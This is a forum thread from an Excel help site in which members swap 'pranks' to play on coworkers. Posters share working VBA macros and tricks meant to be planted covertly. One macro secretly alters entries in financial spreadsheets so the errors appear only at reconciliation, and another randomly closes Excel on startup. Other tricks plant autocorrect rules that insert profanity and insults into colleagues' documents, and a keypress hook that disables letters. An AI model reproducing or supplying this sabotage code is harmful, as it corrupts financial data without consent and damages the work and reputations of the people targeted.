Good Excel Practical Jokes, Pranks, Mean Tricks, etc.

Mark O'Brien

MrExcel MVP
Joined
Feb 15, 2002
Messages
3,530
On 2002-11-08 10:09, Von Pookie wrote:
:LOL:

You're a vindictive little bugger, ain't ya? :wink:
The main reason I left was that I wasn't in the clique. (the 56% raise I got to switch jobs was merely a nice side effect)
 

Some videos you may like

Excel Facts

Quick Sum
Select a range of cells. The total appears in bottom right of Excel screen. Right-click total to add Max, Min, Count, Average.

Corticus

Well-known Member
Joined
Apr 30, 2002
Messages
1,579
A little more fun...

put this in any financial spreadsheet, or I guess anywhere for that matter:
Code:
Private Sub Worksheet_Change(ByVal Target As Range)

Dim Level As String
Dim Occurance As Integer

Frequency = 0.3
Level = 0.0000001

On Error Resume Next

Application.EnableEvents = False

If Target.Value< Level Then End
If Rnd()< Frequency Then Target = Target + Level

Application.EnableEvents = True

End Sub
edit:
In case you wondered what this does...It randomly(frequency) adds a very small amount(level) to every entry made in a sheet. The amounts should not be enough to notice until its time to reconscile...hehehe
This message was edited by corticus on 2002-12-19 12:17
 

Bruno

Active Member
Joined
Feb 17, 2002
Messages
491
Corticus,
a variation on my code :
<pre>
Private Sub Workbook_Open()
Application.DisplayAlerts = False
Randomize
annoying_level = 8 * weekday(now())
annoying_number = 100 * Rnd
If annoying_number < annoying_level Then
Application.Quit
End If
End Sub</pre>

On sunday the annoying_level will be 8, on monday 16, on tuesday 24, etc.
'During the week, the PC get tired to start XL' :wink:
 

EdE

Board Regular
Joined
Apr 8, 2002
Messages
241
Hey Mark --

You wouldnt happen to still have that code for the Michigan prank you pulled? I have the same problem here with Colorado/Colorado State. Would love to get a few Buffalo fans irked.

Thanks!!
 

DBA

Board Regular
Joined
May 28, 2002
Messages
100
Hi Guys and Gals,

If you haven't the time to hoik some VBA, just do as I do and slip into their auto correct. An endless source of fun - especially if your colleagues are not apt to proof read their work. (Good on Excel but works even better on Word).

Try these -
Replace "the" with "the ****" - Works well on sentences like -
"The manager of the company has approved the loan."
Or this gem -
Replace "you" with "you idiots" - Good for -
"I'd like to thank you for the kind gift you sent me yesterday"
Or even -
Replace "Brian" (use the person's name) with "Brian (your love puppet)" - Imagine this -
"Thank you for your trust in me, Sir. I won't let you down. Regards, Brian"

And these are just the mild ones. How far are you willing to push it?

Let us know.

DBA
 

Corticus

Well-known Member
Joined
Apr 30, 2002
Messages
1,579
DBA,

That's too funny! :LOL: I'm a little late on the post, but your prank is classic. Now if only we could put our powers to good...
 

Sourdust

Well-known Member
Joined
Sep 15, 2002
Messages
769
Too funny DBA :biggrin:

I am already planning how far I can go without getting the sack!
 

Pesky_Weasel

Board Regular
Joined
Sep 28, 2002
Messages
99
Now this is funnee!
I almost cant wait for work on Monday, speaking of which, anyone got a job for me? (In case some of this doesn't go down so well)
 

k209310

Active Member
Joined
Aug 12, 2002
Messages
382
I have recently been experimenting with the Ascii code for the keyboard.

You could put the code in to akeypress fucntion and then put a template in the start up file.

This would prevent to prevent certain letters from being used. This would annoy the hell out of the users you wish to get. You could cost your company a fortune in new keyboards.
 

Watch MrExcel Video

Forum statistics

Threads
1,095,371
Messages
5,444,064
Members
405,265
Latest member
Iram

This Week's Hot Topics

Top